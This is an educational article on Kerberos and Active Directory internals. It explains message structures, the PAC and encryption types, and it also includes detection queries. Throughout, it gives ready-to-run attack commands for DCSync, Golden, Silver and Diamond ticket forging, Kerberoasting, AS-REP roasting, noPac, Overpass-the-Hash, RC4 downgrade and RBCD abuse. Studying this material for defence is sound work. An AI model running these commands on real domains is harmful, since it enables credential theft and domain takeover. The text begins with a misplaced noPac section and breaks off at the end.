- Request TGS: with
DC01@CORP.LOCAL's TGT for thekrbtgtservice - KDC can't find
DC01, searches forDC01$and finds the real DC - Result: receive TGS with real DC privileges
# noPac attack
noPac.py -scan CORP.LOCAL/user01:Password1! -dc-ip 10.0.0.1
noPac.py CORP.LOCAL/user01:Password1! -dc-ip 10.0.0.1 -shell
Fix: KB5008380 and KB5008602 (November/December 2021).
Sapphire Ticket (2022)
An evolution of the Diamond Ticket. Uses a real user's PAC inside a ticket for a different user. Obtains a genuine PAC via the S4U2Self mechanism and injects it into another ticket. Result: all PAC checksums are valid because they were computed against a real PAC.
References and Further Reading
RFCs:
- RFC 4120 (2005) — The Kerberos Network Authentication Service (V5)
- RFC 3961 (2005) — Encryption and Checksum Specifications for Kerberos 5
- RFC 3962 (2005) — Advanced Encryption Standard (AES) Encryption for Kerberos 5
- RFC 4757 (2006) — The RC4-HMAC Kerberos Encryption Types
- RFC 6113 (2011) — A Generalized Framework for Kerberos Pre-Authentication
- RFC 6806 (2012) — Kerberos Principal Name Canonicalization
Microsoft Documentation:
- MS-KILE: Kerberos Protocol Extensions
- MS-PAC: Privilege Attribute Certificate Data Structure
- MS-SFU: Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol
Academic Works:
- Neuman, C. & Ts'o, T. (1994). "Kerberos: An Authentication Service for Computer Networks." IEEE Communications.
- Bellovin, S.M. & Merritt, M. (1991). "Limitations of the Kerberos Authentication System." USENIX Conference Proceedings.
Research Blogs:
- harmj0y: "The Evolution of Protected Users"
- harmj0y: "Kerberoasting Without Mimikatz"
- gentilkiwi (mimikatz documentation): MS-KILE PAC implementation
- Sean Metcalf (adsecurity.org): "Detecting Kerberoasting Activity"
- Will Schroeder (@harmj0y) / Lee Christensen (@tifkin_): "An Ace Up the Sleeve"
Introduction: Why Study Kerberos Protocol Internals?
Understanding Kerberos at a protocol level is understanding why Golden Tickets work, why the krbtgt account is the "god key of the domain," and why a service account password can be cracked offline. The vast majority of modern Active Directory attacks — Golden Ticket, Silver Ticket, Kerberoasting, AS-REP Roasting, Diamond Ticket, Unconstrained Delegation, noPac — directly exploit internal Kerberos protocol mechanics.
This article examines Kerberos from first principles: ASN.1 structures, encryption selection decisions, PAC buffer layout, and precisely which protocol property each attack exploits.
Historical Context: From MIT Athena to RFC 4120
Kerberos was developed in 1988 as part of MIT's Project Athena. The core problem: how can users on shared campus workstations authenticate to network services without transmitting their password over the wire? The solution was ticket-based authentication via a trusted third party — the Kerberos server.
Kerberos versions 1 through 4 were used internally at MIT. In 1993, Neuman and Ts'o published "Kerberos: An Authentication Service for Computer Networks." RFC 1510 (1993) provided the first IETF standardization, followed by RFC 4120 (2005) — the comprehensive revision that defines Kerberos 5 as used today.
Microsoft adopted Kerberos as the default network authentication protocol with Windows 2000, replacing NTLM. However, Microsoft also added its own extensions under MS-KILE (Microsoft Kerberos Protocol Extension): the PAC (Privilege Attribute Certificate), constrained delegation, resource-based constrained delegation — none of which exist in RFC 4120.
Section 1: Kerberos Components and Terminology
1.1 KDC — Key Distribution Center
The KDC is the heart of Kerberos, hosting two logical services:
AS (Authentication Service): Verifies the user's identity and issues the TGT. Uses the user's long-term key (NTLM hash or AES hash) for verification.
TGS (Ticket Granting Service): Receives and validates the user's TGT, then issues Service Tickets for requested services. The TGS does not know the user's password — it only validates the TGT's authenticity.
In Active Directory environments, the KDC role runs on every Domain Controller. The krbtgt account is a special service account whose long-term key encrypts all TGTs.
1.2 Principal
A principal is the identity identifier in Kerberos. Two types exist:
- User principal:
user01@CORP.LOCALformat. The uppercase portion is the realm. - Service principal:
http/webserver.corp.local@CORP.LOCALformat. Also known as SPN (Service Principal Name), written to theservicePrincipalNameattribute in Active Directory.
1.3 Realm
A realm defines the Kerberos trust boundary. Conventionally written in uppercase and typically matching the DNS domain name: CORP.LOCAL. Cross-realm trust allows ticket usage between two realms.
1.4 TGT vs Service Ticket
TGT (Ticket Granting Ticket):
- A special ticket issued for the
krbtgt/CORP.LOCALservice - Used to access the KDC for subsequent ticket requests
- Default lifetime: 10 hours (renewable: 7 days)
- Only the KDC can decrypt it (encrypted with
krbtgthash) - Stored in LSASS (Windows) or
ccachefiles (Linux/macOS)
Service Ticket (ST / TGS):
- Ticket issued for a specific SPN
- Encrypted with the service's long-term key
- Default lifetime: 10 hours
- Services can validate without contacting the KDC (this enables Silver Ticket attacks)
Section 2: AS Exchange — Authentication Service Exchange
The Kerberos session begins before even the username is sent in plaintext.
2.1 AS-REQ (KDC-REQ, msg-type 10)
AS-REQ is the KDC-REQ structure defined in RFC 4120 §5.4.1:
KDC-REQ ::= SEQUENCE {
pvno [1] INTEGER (5),
msg-type [2] INTEGER (10 -- AS-REQ, 12 -- TGS-REQ),
padata [3] SEQUENCE OF PA-DATA OPTIONAL,
req-body [4] KDC-REQ-BODY
}
KDC-REQ-BODY ::= SEQUENCE {
kdc-options [0] KDCOptions,
cname [1] PrincipalName OPTIONAL,
realm [2] Realm,
sname [3] PrincipalName OPTIONAL,
from [4] KerberosTime OPTIONAL,
till [5] KerberosTime,
rtime [6] KerberosTime OPTIONAL,
nonce [7] UInt32,
etype [8] SEQUENCE OF Int32,
addresses [9] HostAddresses OPTIONAL,
enc-authorization-data [10] EncryptedData OPTIONAL,
additional-tickets [11] SEQUENCE OF Ticket OPTIONAL
}
Critical fields:
cname: Client's principal name (username)sname: Requested service; in AS-REQ this is alwayskrbtgt/REALMetype: Encryption types supported by the client (in preference order)nonce: Random 32-bit value to prevent replay attackspadata: Pre-authentication data
2.2 PA-DATA: Pre-Authentication
Pre-authentication was added to RFC 4120 to prevent replay attacks and offline brute-force (it was optional in earlier versions). The most common PA-DATA types:
PA-ENC-TIMESTAMP (type 2):
A timestamp encrypted with the user's long-term key. The KDC decrypts this to verify both the user's identity and that the timestamp is within 5 minutes (replay protection).
PA-ENC-TS-ENC ::= SEQUENCE {
patimestamp [0] KerberosTime,
pausec [1] Microseconds OPTIONAL
}
PA-ETYPE-INFO2 (type 19):
The KDC advertises its supported encryption types and the salt value. The client uses this to derive its key.
PA-PAC-REQUEST (type 128, MS-KILE):
Indicates whether the client wants a PAC included. If include-pac: TRUE, the KDC adds a PAC to the TGT.
PA-FOR-USER (type 129, S4U2Self):
Allows a service account to obtain a TGS on behalf of another user.
2.3 AS-REP Roasting: DONT_REQUIRE_PREAUTH
For users with DONT_REQUIRE_PREAUTH (0x400000) set in userAccountControl, the KDC returns an AS-REP without requiring PA-ENC-TIMESTAMP.
The AS-REP structure:
AS-REP ::= [APPLICATION 11] KDC-REP
KDC-REP ::= SEQUENCE {
pvno [0] INTEGER (5),
msg-type [1] INTEGER (11 -- AS-REP, 13 -- TGS-REP),
padata [2] SEQUENCE OF PA-DATA OPTIONAL,
crealm [3] Realm,
cname [4] PrincipalName,
ticket [5] Ticket,
enc-part [6] EncryptedData -- EncASRepPart
}
The enc-part (EncASRepPart) is encrypted with the user's long-term key and contains the session key. Without pre-auth, this can be obtained without any authentication and cracked offline.
# AS-REP Roasting with impacket
GetNPUsers.py CORP.LOCAL/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1
# Output format: $krb5asrep$23$user@CORP.LOCAL:...
hashcat -m 18200 asrep.hash wordlist.txt
Section 3: TGT Internal Structure — Byte-Level Analysis
The TGT is carried in the Ticket structure defined in RFC 4120 §5.3:
3.1 Ticket ASN.1 Structure
Ticket ::= [APPLICATION 1] SEQUENCE {
tkt-vno [0] INTEGER (5),
realm [1] Realm,
sname [2] PrincipalName,
enc-part [3] EncryptedData -- EncTicketPart
}
EncTicketPart ::= [APPLICATION 3] SEQUENCE {
flags [0] TicketFlags,
key [1] EncryptionKey,
crealm [2] Realm,
cname [3] PrincipalName,
transited [4] TransitedEncoding,
authtime [5] KerberosTime,
starttime [6] KerberosTime OPTIONAL,
endtime [7] KerberosTime,
renew-till [8] KerberosTime OPTIONAL,
caddr [9] HostAddresses OPTIONAL,
authorization-data [10] AuthorizationData OPTIONAL
}
3.2 Field-by-Field Security Analysis
tkt-vno (5): Protocol version number. Fixed at 5. Must also be 5 in forged tickets.
realm (CORP.LOCAL): Realm of the issuing KDC. In cross-realm attacks, tickets issued from different realms appear here.
sname (krbtgt/CORP.LOCAL): The TGT always targets the krbtgt service. In Silver Tickets, this field changes to the target service's SPN.
enc-part: The EncryptionType value in this field is critical. Seeing etype: 17 (AES-128) or etype: 18 (AES-256) is normal. Seeing etype: 23 (RC4-HMAC) in a modern environment — especially one with AES — indicates either a legacy client or a potential attack.
3.3 EncTicketPart: The Heart of the Ticket
flags (set by the KDC):
TicketFlags ::= KerberosFlags
-- forwardable (0) = 0x40000000
-- forwarded (1) = 0x20000000
-- proxiable (2) = 0x10000000
-- proxy (3) = 0x08000000
-- may-postdate (4) = 0x04000000
-- postdated (5) = 0x02000000
-- invalid (6) = 0x01000000
-- renewable (7) = 0x00800000
-- initial (8) = 0x00400000
-- pre-authent (9) = 0x00200000
-- hw-authent (10) = 0x00100000
-- ok-as-delegate (11) = 0x00040000 -- unconstrained delegation trust
-- name-canonicalize(15) = 0x00010000 -- MS-KILE extension
FORWARDABLE: The ticket can be forwarded to another machine. Required for unconstrained delegation attacks. Must be set when constructing a Golden Ticket for delegation purposes.
OK-AS-DELEGATE: Indicates the service account is trusted for unconstrained delegation. When an attacker connects to a service with this flag, the service can copy the user's TGT.
RENEWABLE: The user can renew the ticket without contacting the DC again. Important for long-term persistence.
PRE-AUTHENT: This ticket was obtained using pre-authentication. Trusted identity indicator.
key (Session Key):
The session key negotiated between the client and KDC during the AS exchange. The client encrypts the Authenticator in TGS-REQ with this key. The session key also appears in the AS-REP's enc-part (encrypted with the user's long-term key).
authtime: The time of initial authentication. The Diamond Ticket obtains a real TGT and leaves this field unchanged, making detection harder. In Golden Tickets, this field may be synthetic.
endtime: Ticket validity period. Golden Tickets often set this to 10 years (87,600 hours) — an anomalous value usable for detection.
authorization-data: The PAC is carried here. Detailed below.
3.4 Golden Ticket: The Cryptographic Perspective
The Golden Ticket attack exploits a fundamental design principle: enc-part is encrypted with krbtgt's long-term key. When the KDC validates a TGT, it only decrypts the enc-part and checks that the contents are logically valid. It cannot verify which Domain Controller issued it, because the KDC does not maintain this information.
# Step 1: Get krbtgt hash (DCSync)
mimikatz # lsadump::dcsync /user:krbtgt /domain:corp.local
# Output:
# Hash NTLM: aabbccdd11223344...
# Hash SHA1: eeff001122334455...
# AES256: 0011223344556677...
# Step 2: Create Golden Ticket
mimikatz # kerberos::golden /user:FakeAdmin /domain:corp.local \
/sid:S-1-5-21-3623811015-3361044348-30300820 \
/krbtgt:aabbccdd11223344... \
/id:500 \
/groups:512,519,520,513,518 \
/sids:S-1-5-21-3623811015-3361044348-30300820-519 \
/ptt
# With AES-256 (more stealthy — avoids RC4 warning)
mimikatz # kerberos::golden /user:FakeAdmin /domain:corp.local \
/sid:S-1-5-21-... /aes256:0011223344... /ptt
The critical property: the KDC never asks "did I create this TGT?" It only asks "can I decrypt it with my krbtgt key and is the content valid?"
3.5 Diamond Ticket: A Stealthier Alternative
The Diamond Ticket is an evolution of the Golden Ticket designed to evade detection:
-
Golden Ticket: Entirely synthetic TGT. May contain synthetic
authtime, fakecname, fabricated timestamps — potentially detectable by honeytoken/canary systems. -
Diamond Ticket: A real TGT is obtained (real
authtime, realcname, real session key). Then the TGT'senc-partis decrypted,ExtraSidsis populated with Domain Admin/Enterprise Admin SID, and it's re-encrypted with the krbtgt key. Result: a modified version of a TGT the KDC genuinely issued.
# Diamond Ticket with Rubeus
Rubeus.exe diamond /krbkey:0011223344556677... /user:USER01 \
/password:Password1! /enctype:aes256 \
/sids:S-1-5-21-...-519 /domain:corp.local /dc:DC01.corp.local /ptt
# With impacket
ticketer.py -request -domain corp.local -domain-sid S-1-5-21-... \
-aesKey 0011223344... -extra-sid S-1-5-21-...-519 USER01
Section 4: TGS Exchange — Ticket Granting Service Exchange
4.1 TGS-REQ (msg-type 12)
After obtaining a TGT, the client requests access to a service from the TGS:
-- TGS-REQ padata:
PA-TGS-REQ ::= AP-REQ -- TGT + Authenticator
AP-REQ ::= [APPLICATION 14] SEQUENCE {
pvno [0] INTEGER (5),
msg-type [1] INTEGER (14),
ap-options [2] APOptions,
ticket [3] Ticket, -- TGT
authenticator [4] EncryptedData -- encrypted with session key
}
Authenticator ::= [APPLICATION 2] SEQUENCE {
authenticator-vno [0] INTEGER (5),
crealm [1] Realm,
cname [2] PrincipalName,
cksum [3] Checksum OPTIONAL,
cusec [4] Microseconds,
ctime [5] KerberosTime,
subkey [6] EncryptionKey OPTIONAL,
seq-number [7] UInt32 OPTIONAL,
authorization-data [8] AuthorizationData OPTIONAL
}
Authenticator's security role: To prevent replay attacks, each Authenticator contains a unique timestamp. The KDC maintains a replay cache of Authenticators used in the last 5 minutes. If the same Authenticator is submitted twice, KRB_AP_ERR_REPEAT is returned.
4.2 TGS-REP (msg-type 13)
TGS-REP contains two encrypted fields:
TGS-REP ::= [APPLICATION 13] KDC-REP
-- enc-part: encrypted with session key (EncTGSRepPart)
EncTGSRepPart ::= [APPLICATION 26] SEQUENCE {
key [0] EncryptionKey, -- new session key (client↔service)
last-req [1] LastReq,
nonce [2] UInt32,
key-expiration [3] KerberosTime OPTIONAL,
flags [4] TicketFlags,
authtime [5] KerberosTime,
starttime [6] KerberosTime OPTIONAL,
endtime [7] KerberosTime,
renew-till [8] KerberosTime OPTIONAL,
srealm [9] Realm,
sname [10] PrincipalName,
caddr [11] HostAddresses OPTIONAL
}
-- ticket: encrypted with service hash (EncTicketPart)
-- Client cannot read this field; forwards it intact to the service
4.3 Kerberoasting: Offline Cracking of the Service Hash
The ticket field in TGS-REP is encrypted with the service account's long-term key. The client does not read this field; it forwards it directly to the service. However, an attacker can capture this encrypted blob and attempt to crack it offline.
# Kerberoast with impacket
GetUserSPNs.py CORP.LOCAL/user01:Password1! -dc-ip 10.0.0.1 -request
# Output: $krb5tgs$23$*SvcAccount$CORP.LOCAL$...
# Crack with hashcat
hashcat -m 13100 kerberoast.hash /wordlists/rockyou.txt --rules=best64.rule
# AES TGS (harder to crack) — hashcat mode 19600/19700
hashcat -m 19600 aes128.hash wordlist.txt
hashcat -m 19700 aes256.hash wordlist.txt
# With Rubeus
Rubeus.exe kerberoast /nowrap /format:hashcat
RC4 Downgrade — Why Does RC4 Still Appear?
In modern environments, service accounts may use AES. However, if the attacker specifies only RC4 (0x17) in the etype field of the TGS-REQ, the KDC may return an RC4-encrypted TGS — if the service account's msDS-SupportedEncryptionTypes value permits RC4.
# Force RC4
Rubeus.exe kerberoast /rc4opsec /nowrap
# or
GetUserSPNs.py CORP.LOCAL/user01:Password1! -request -etype RC4
4.4 Silver Ticket: Bypassing the KDC Entirely
The Silver Ticket attack is based on constructing the ticket field in TGS-REP ourselves — encrypted with the service hash. This means we can access the service without ever contacting the KDC. This is both stealthier (no KDC logs) and works without domain connectivity.
# Get service hash (from previous Kerberoast or local dump)
mimikatz # sekurlsa::logonpasswords
# or: lsadump::lsa /patch
# Create Silver Ticket
mimikatz # kerberos::golden /user:FakeUser \
/domain:corp.local \
/sid:S-1-5-21-3623811015-3361044348-30300820 \
/target:webserver.corp.local \
/service:http \
/rc4:aabbccdd... \
/ptt
# With Rubeus
Rubeus.exe silver /service:http/webserver.corp.local \
/rc4:aabbccdd... /user:FakeUser /domain:corp.local /ptt
A Silver Ticket is only valid for that specific service and works against services that do not perform PAC validation with the KDC — which includes most services (IIS, MSSQL, SMB).
Section 5: PAC — Privilege Attribute Certificate
The PAC is Microsoft's most critical extension to RFC 4120. It is the structure carried inside Kerberos tickets that drives Windows authorization decisions.
5.1 PAC Location
The PAC resides in the authorization-data field of every Kerberos ticket, wrapped as:
AuthorizationData ::= SEQUENCE OF SEQUENCE {
ad-type [0] Int32,
ad-data [1] OCTET STRING
}
-- ad-type: 1 → AD-IF-RELEVANT
-- Inside: ad-type: 128 → AD-WIN2K-PAC
5.2 PACTYPE Structure
According to the MS-PAC specification, the PAC has the following top-level structure:
PACTYPE {
cBuffers: ULONG, // Number of buffers
Version: ULONG (0), // Always 0
Buffers[]: PAC_INFO_BUFFER
}
PAC_INFO_BUFFER {
ulType: ULONG, // Buffer type
cbBufferSize: ULONG, // Buffer size
Offset: ULONG64 // Offset from PAC start
}
5.3 PAC_LOGON_INFO (ulType: 0x00000001) — The Most Critical Buffer
This buffer contains the KERB_VALIDATION_INFO structure (MS-PAC §2.5), NDR-encoded. All data that Windows uses to make authorization decisions about the user is here.
KERB_VALIDATION_INFO {
LogonTime: FILETIME
LogoffTime: FILETIME
KickOffTime: FILETIME
PasswordLastSet: FILETIME
PasswordCanChange: FILETIME
PasswordMustChange: FILETIME
EffectiveName: RPC_UNICODE_STRING // username
FullName: RPC_UNICODE_STRING
LogonScript: RPC_UNICODE_STRING
ProfilePath: RPC_UNICODE_STRING
HomeDirectory: RPC_UNICODE_STRING
HomeDirectoryDrive: RPC_UNICODE_STRING
LogonCount: USHORT
BadPasswordCount: USHORT
UserId: ULONG // RID (e.g., 1105)
PrimaryGroupId: ULONG // e.g., 513 = Domain Users
GroupCount: ULONG
GroupIds[]: GROUP_MEMBERSHIP[] // Group RID list
UserFlags: ULONG
UserSessionKey: USER_SESSION_KEY
LogonServer: RPC_UNICODE_STRING
LogonDomainName: RPC_UNICODE_STRING
LogonDomainId: PRPC_SID // Domain SID
Reserved1[2]: ULONG
UserAccountControl: ULONG
SubAuthStatus: ULONG
LastSuccessfulILogon: FILETIME
LastFailedILogon: FILETIME
FailedILogonCount: ULONG
Reserved3: ULONG
SidCount: ULONG
ExtraSids[]: KERB_SID_AND_ATTRIBUTES[] // ← ATTACK POINT
ResourceGroupDomainSid: PRPC_SID
ResourceGroupCount: ULONG
ResourceGroupIds[]: GROUP_MEMBERSHIP[]
}
ExtraSids — The Heart of the Golden Ticket
The ExtraSids field contains additional SIDs the user is a member of. Normally used for cross-realm SID history scenarios. In a Golden Ticket attack, Domain Admins (512) or Enterprise Admins (519) SIDs are injected here:
ExtraSids[0] = S-1-5-21-3623811015-3361044348-30300820-512 // Domain Admins
ExtraSids[1] = S-1-5-21-3623811015-3361044348-30300820-519 // Enterprise Admins
The service reads these SIDs from the PAC and grants Domain Admin privileges — even without real group membership in Active Directory.
5.4 PAC_CLIENT_INFO (ulType: 0x0000000A)
PAC_CLIENT_INFO {
ClientId: FILETIME // authtime (8 bytes)
NameLength: USHORT
Name: WCHAR[] // ClientName (UTF-16LE)
}
Contains the name and authentication time of the ticket's owner. When analyzing Diamond Tickets, this field carrying a real value makes detection harder.
5.5 PAC_UPN_DNS_INFO (ulType: 0x0000000C)
UPN_DNS_INFO {
UpnLength: USHORT
UpnOffset: USHORT
DnsDomainNameLength: USHORT
DnsDomainNameOffset: USHORT
Flags: ULONG
// Data: UPN + DnsDomainName (UTF-16LE)
}
Contains UPN (User Principal Name) and DNS domain name. Additional identity information used by some services.
5.6 PAC_SERVER_CHECKSUM (ulType: 0x00000006)
PAC_SIGNATURE_DATA {
SignatureType: ULONG // 0x0000000F = HMAC-SHA1-96
Signature: BYTE[] // 12 or 16 byte HMAC
RODCIdentifier: USHORT OPTIONAL
}
This checksum is computed with the service account's long-term key. Verifies the PAC content has not been tampered with.
Silver Ticket connection: If the attacker knows the service hash, they can craft a fake PAC and correctly compute PAC_SERVER_CHECKSUM. The service validates this checksum only against its own key.
5.7 PAC_KDC_CHECKSUM (ulType: 0x00000007)
Uses the same PAC_SIGNATURE_DATA format but computed with the krbtgt key. It is the checksum of PAC_SERVER_CHECKSUM's signature (not the entire PAC).
Golden/Diamond Ticket connection: If the attacker knows the krbtgt hash, they can recompute this checksum and pass KDC validation.
5.8 PAC Validation: Why Most Services Skip It
RFC 4120 does not mandate PAC validation. A service can forward the PAC to the KDC for verification (KERB_VERIFY_PAC_REQUEST protocol), but this requires an additional RPC call and degrades performance. The vast majority of common services (IIS, MSSQL, SMB) do not perform PAC validation. This is why Silver Tickets work.
To enable PAC validation:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
ValidateKdcPacSignature = 1 (DWORD)
Section 6: Encryption Types and Security Analysis
6.1 RFC 3961: Kerberos Cryptography Framework
RFC 3961 defines a general framework for Kerberos encryption types. For each encryption type:
- Key derivation function (string2key, random2key)
- Encryption and decryption
- Integrity checksum
- Pseudo-random function
6.2 RC4-HMAC (etype 0x17): Why Still Problematic?
RC4-HMAC is defined in RFC 4757 and was a Microsoft addition introduced with Windows 2000. The critical security issue: for RC4-HMAC, the Kerberos key is the NTLM hash itself.
string2key(password, salt) = NTLM-hash(password) = MD4(UTF16LE(password))
This means:
- An attacker who obtains the NTLM hash can crack RC4-encrypted Kerberos TGT/TGS
- A direct bridge between Pass-the-Hash and Kerberos is created (Overpass-the-Hash)
- Kerberoasting cracks RC4 TGS tickets to obtain the service account's NTLM hash
# Overpass-the-Hash: NTLM hash → Kerberos TGT
Rubeus.exe asktgt /user:USER01 /rc4:aabbccdd... /domain:corp.local /ptt
impacket-getTGT corp.local/USER01 -hashes :aabbccdd...
6.3 AES-256-CTS-HMAC-SHA1-96 (etype 0x12): Why More Secure?
AES for Kerberos is defined in RFC 3962. The string2key function:
string2key(password, salt, params):
iter_count = params.iter_count # default: 4096
tkey = random2key(PBKDF2-SHA1(password, salt, iter_count, keylength))
key = DK(tkey, "kerberos" || 0x00000001 || keylength)
With PBKDF2 and 4096 iterations, each password guess requires 4096 SHA-1 computations. This slows offline cracking by several thousand times compared to RC4.
For AES, the salt value is: REALM + username (e.g., CORP.LOCALuser01). Every wordlist attempt during offline cracking must run PBKDF2 with this salt.
AES Golden Ticket: Requires the AES krbtgt hash, obtainable via lsadump::dcsync /user:krbtgt. A Golden Ticket created with AES is less detectable than one with RC4, because modern DCs log RC4 usage.
6.4 msDS-SupportedEncryptionTypes
This Active Directory attribute defines, as a bitmask, which encryption types a principal (user/computer/service account) will accept:
Bit Value Meaning
0 0x00000001 DES-CBC-CRC
1 0x00000002 DES-CBC-MD5
2 0x00000004 RC4-HMAC
3 0x00000008 AES128-CTS-HMAC-SHA1-96
7 0x00000080 AES256-CTS-HMAC-SHA1-96
Common values:
0(not set): Defaults to RC40x18(24): AES-128 + AES-256 — recommended0x1C(28): RC4 + AES — transition period0x1F(31): All (including DES) — dangerous
Kerberoasting downgrade attack:
# Downgrade msDS-SupportedEncryptionTypes to RC4 (requires GenericWrite)
Set-ADUser svcSQLAdmin -Replace @{
'msDS-SupportedEncryptionTypes' = 4 # RC4 only
}
# Then Kerberoast → hashcat -m 13100 (much faster)
Detection: EID 4769 with ticket_encryption_type = 0x17 (RC4) — suspicious when the target account supports AES.
Section 7: S4U Extensions — Protocol Transition and Delegation
7.1 S4U2Self (MS-SFU §3.1)
S4U2Self (Service-for-User-to-Self) allows a service account to obtain a TGS for its own service on behalf of any user. This is called "protocol transition" because it bridges non-Kerberos authentication (NTLM, certificate) to Kerberos.
S4U2Self flow:
1. Service → KDC: TGS-REQ
- PA-FOR-USER: { userName: "TargetUser", userRealm: "CORP.LOCAL" }
- sname: its own SPN
2. KDC → Service: TGS-REP
- Ticket: ST for ServiceAccount service, on behalf of TargetUser
- Ticket contains TargetUser's PAC
- FORWARDABLE flag: set if TrustedToAuthForDelegation is present
S4U2Self exploitation scenario:
# S4U2Self with Rubeus
Rubeus.exe s4u /user:svcAccount /password:Password1! \
/impersonateuser:Administrator /msdsspn:cifs/dc01.corp.local \
/domain:corp.local /ptt
7.2 S4U2Proxy (MS-SFU §3.2)
S4U2Proxy is the continuation of S4U2Self. The service account uses the "forwardable" ticket obtained from S4U2Self to access another service on the user's behalf.
S4U2Proxy flow:
1. Service → KDC: TGS-REQ
- additional-tickets[0]: ST from S4U2Self (FORWARDABLE)
- sname: target service's SPN
2. KDC → Service: TGS-REP
- Ticket: ST for TargetUser for TargetService
3. Service → TargetService: AP-REQ
- Ticket: ST from step 2
7.3 Constrained vs Unconstrained Delegation
Unconstrained Delegation (userAccountControl: TRUSTED_FOR_DELEGATION):
The service directly receives the user's TGT and can forward it to any service. The KDC sends the TGT as an additional ticket in AP-REQ. Attack scenario: compromise a service with the unconstrained delegation flag, then harvest TGTs from connecting users (including Domain Admins).
# Find service accounts with unconstrained delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
Constrained Delegation (msDS-AllowedToDelegateTo):
The service can only S4U2Proxy to a specified list of SPNs. More secure, but misconfiguration is exploitable.
Resource-Based Constrained Delegation (RBCD):
The target resource controls which accounts can delegate to it (msDS-AllowedToActOnBehalfOfOtherIdentity). An attacker with GenericWrite permission can modify this attribute for privilege escalation.
# RBCD attack
$SD = New-Object Security.AccessControl.RawSecurityDescriptor(
"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-...-1234)")
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-ADComputer -Identity "TargetComputer" -PrincipalsAllowedToDelegateToAccount AttackerMachine$
Section 8: KRB-ERROR Messages and Analysis
Kerberos error messages are critical for both troubleshooting and security analysis:
KDC_ERR_C_PRINCIPAL_UNKNOWN = 6 -- Client not found in DB
KDC_ERR_S_PRINCIPAL_UNKNOWN = 7 -- Server not found in DB (wrong SPN!)
KDC_ERR_CLIENT_REVOKED = 18 -- Client credentials revoked (disabled account)
KDC_ERR_PREAUTH_FAILED = 24 -- Pre-auth info incorrect (bad password)
KDC_ERR_PREAUTH_REQUIRED = 25 -- Pre-auth required (normal)
KRB_AP_ERR_BAD_INTEGRITY = 31 -- Integrity check failed (wrong key)
KRB_AP_ERR_TKT_EXPIRED = 32 -- Ticket expired
KRB_AP_ERR_REPEAT = 34 -- Replayed request
KRB_AP_ERR_SKEW = 37 -- Clock skew too great (>5 minutes)
KRB_ERR_RESPONSE_TOO_BIG = 52 -- Response too big for UDP; use TCP
Critical for penetration testing:
KDC_ERR_PREAUTH_REQUIRED (25): Normal — account requires pre-authKDC_ERR_PREAUTH_FAILED (24): Wrong passwordKDC_ERR_CLIENT_REVOKED (18): Account disabledKRB_AP_ERR_SKEW (37): Clock sync issue (Kerberos requires ±5 min tolerance)KDC_ERR_S_PRINCIPAL_UNKNOWN (7): SPN doesn't exist — invalid SPN for Kerberoasting
Section 9: Wireshark Kerberos Traffic Analysis
9.1 Filters
# All Kerberos traffic
kerberos
# By message type
kerberos.msg_type == 10 # AS-REQ
kerberos.msg_type == 11 # AS-REP
kerberos.msg_type == 12 # TGS-REQ
kerberos.msg_type == 13 # TGS-REP
kerberos.msg_type == 14 # AP-REQ
kerberos.msg_type == 15 # AP-REP
kerberos.msg_type == 30 # KRB-ERROR
# By error code
kerberos.error_code == 25 # PREAUTH_REQUIRED
kerberos.error_code == 24 # PREAUTH_FAILED
kerberos.error_code == 18 # CLIENT_REVOKED
kerberos.error_code == 37 # Clock skew
# Specific user
kerberos.CNameString == "user01"
# RC4 usage (suspicious)
kerberos.etype == 23
# Specific SPN
kerberos.SNameString contains "krbtgt"
kerberos.SNameString contains "cifs"
9.2 Kerberoasting Detection in TGS-REQ
Suspicious TGS-REQ in Wireshark:
kerberos.SNameString != "krbtgt" # Service ticket (may be normal)
kerberos.etype == 23 # RC4 being requested
Combined: RC4 TGS request for a service account = potential Kerberoasting attempt.
Section 10: Detection and Defense
10.1 Windows Event ID Reference
EID 4768 — Kerberos Authentication Ticket (TGT) Requested
Fields: Account Name, Supplied Realm, Service Name, Ticket Options,
Result Code, Ticket Encryption Type, Pre-Authentication Type,
IP Address, Certificate Issuer, Certificate Serial Number
EID 4769 — Kerberos Service Ticket (TGS) Requested
Fields: Account Name, Service Name, Ticket Options,
Ticket Encryption Type, Failure Code, Transited Services
EID 4770 — Kerberos Service Ticket Renewed
EID 4771 — Kerberos Pre-Authentication Failed
Account Name, IP Address, Failure Code
Failure Code 0x18 = wrong password
EID 4672 — Special Logon
Administrator or DA rights assigned to new logon session
Generated when Golden/Silver Ticket succeeds
10.2 Golden Ticket Detection
# EID 4769 + 4768 correlation:
# 1. EID 4769 without prior EID 4768 (TGS without TGT request)
# 2. EID 4768 with EncryptionType = 0x17 (RC4) on an AES-only DC
# 3. EID 4769 with anomalous AccountDomain
# 4. Abnormal ticket lifetime (10 years)
# KQL (Microsoft Sentinel)
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"
| where ServiceName !endswith "$"
| where AccountDomain == "CORP.LOCAL"
Behavioral anomalies:
authtimefar in the past (static value set during Golden Ticket construction)renew-tillset 10 years in the future- Mismatch between
cnameand the logon username - Ticket originating from an unknown client IP
10.3 Kerberoasting Detection
# EID 4769 - RC4 encrypted TGS request for service accounts
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17" // RC4
| where ServiceName != "krbtgt"
| where ServiceName !endswith "$"
| where IpAddress != "-"
| summarize count() by IpAddress, AccountName, ServiceName, bin(TimeGenerated, 1h)
| where count_ > 5 // Multiple requests = automation
Watch for:
- Many TGS requests from a single source IP
- Burst requests for multiple service accounts
- RC4 TGS requests in an AES-capable environment
10.4 AS-REP Roasting Detection
# EID 4768 - Pre-auth type = 0 (no pre-auth)
SecurityEvent
| where EventID == 4768
| where PreAuthType == "0" // No pre-auth
| where Status == "0x0" // Successful
Remediation: Remove the DONT_REQUIRE_PREAUTH flag from userAccountControl.
# Find accounts with DONT_REQUIRE_PREAUTH
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth
# Remove the flag
Set-ADAccountControl -Identity user01 -DoesNotRequirePreAuth $false
10.5 Defense Recommendations
krbtgt Account:
